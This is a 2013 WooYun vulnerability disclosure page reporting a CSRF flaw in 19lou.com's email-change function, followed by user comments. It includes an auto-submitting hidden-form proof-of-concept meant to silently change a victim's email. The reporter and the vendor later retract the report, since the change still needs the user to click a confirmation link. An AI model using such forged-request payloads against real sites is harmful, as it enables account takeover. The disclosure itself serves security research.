当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-028189

漏洞标题：十九楼csrf可劫持用户帐号

相关厂商：十九楼

漏洞作者： VIP

提交时间：2013-07-08 16:45

修复时间：2013-07-08 17:52

公开时间：2013-07-08 17:52

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-08： 细节已通知厂商并且等待厂商处理中
2013-07-08： 厂商已经确认，细节仅向厂商公开
2013-07-08： 厂商提前公开漏洞，细节向公众公开

简要描述：

详细说明：

修改邮箱处无token，可劫持用户帐号。

11.jpg


POC:

<form method="POST" action="http://www.19lou.com/util/email/active/sendchange" name="vipcsrf" target="hidden_frame">
<input type="text" name="email" value="root@wooyun.org"  style="DISPLAY: none"></input>
</form><iframe style="DISPLAY: none" id=hidden_frame name=hidden_frame></iframe>
<script>document.vipcsrf.submit();</script>


访问这个页面后，在不知情的情况下，用户的邮箱就被更改了。

漏洞证明：

22.jpg

修复方案：

可参考乌云知识库里的文章，进行token、referer等防御

版权声明：转载请注明来源 VIP@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-07-08 16:50

厂商回复：

收到。谢谢撸主。

最新状态：

2013-07-08：额，经过仔细测试，并不存在漏洞。但也要谢谢VIP同学。：）

漏洞评价：

评论

  1. 2013-07-08 16:46 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    跟着 @VIP 走 ~ 有肉吃~~~

  2. 2013-07-08 16:49 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    乌云审核真快啊

  3. 2013-07-08 16:49 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    @VIP csrf 貌似不审核~

  4. 2013-07-08 16:53 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    @VIP VIP大哥~ 请问走的是 大厂商么？

  5. 2013-07-08 16:54 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    @小囧 你能看到的就不是小厂商。PS：告诉你个秘密，在已确认列表里的漏洞都不是小厂商

  6. 2013-07-08 16:56 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    @VIP 这个发现了，，哎，你发财了。我要整10个小厂商才有你这个rank一样多啊~

  7. 2013-07-08 16:58 | 十九楼(乌云厂商)

    @VIP 收下小窗

  8. 2013-07-08 16:58 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

    注定一辈子实习白帽子，不哭站撸。

  9. 2013-07-08 17:10 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    擦 还有小窗口~

  10. 2013-07-08 17:53 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    重新测试了下整个流程，这个漏洞其实还是要用户点击邮箱中的确认链接的，实际无危害。测试不严谨，抱歉！

  11. 2013-07-08 17:54 | 小囧 ( 普通白帽子 | Rank:396 漏洞数:62 | 在通往牛B的路上一路狂奔)

    擦，这样也可以

  12. 2013-07-08 20:30 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

    @VIP 你这是空手套到200qb啊

  13. 2013-07-08 20:48 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:64 | 七夕手机被偷，这坑爹的七夕啊 。。。。)

    坑爹啊 有木有

  14. 2013-07-09 08:49 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    200qb到手

  15. 2013-07-09 09:00 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

    额，经过仔细测试，并不存在漏洞。但也要谢谢VIP同学。：） 这··

  16. 2013-07-09 09:53 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    厂商给力 先给rank 在测试 呵呵

  17. 2013-07-09 11:22 | zyymartin ( 实习白帽子 | Rank:47 漏洞数:22 )

    @possible 我最喜欢这种厂商了(*^__^*) 嘻嘻

  18. 2013-07-09 12:40 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    @zyymartin 呵呵 去十九楼转转 转转..

  19. 2013-07-09 14:17 | 十九楼(乌云厂商)

    。。。。这个是失误。先前测试不严谨。哈哈

  20. 2013-07-09 14:32 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

    @十九楼 串通的？

  21. 2013-07-09 16:03 | 十九楼(乌云厂商)

    。。。。。真心不是。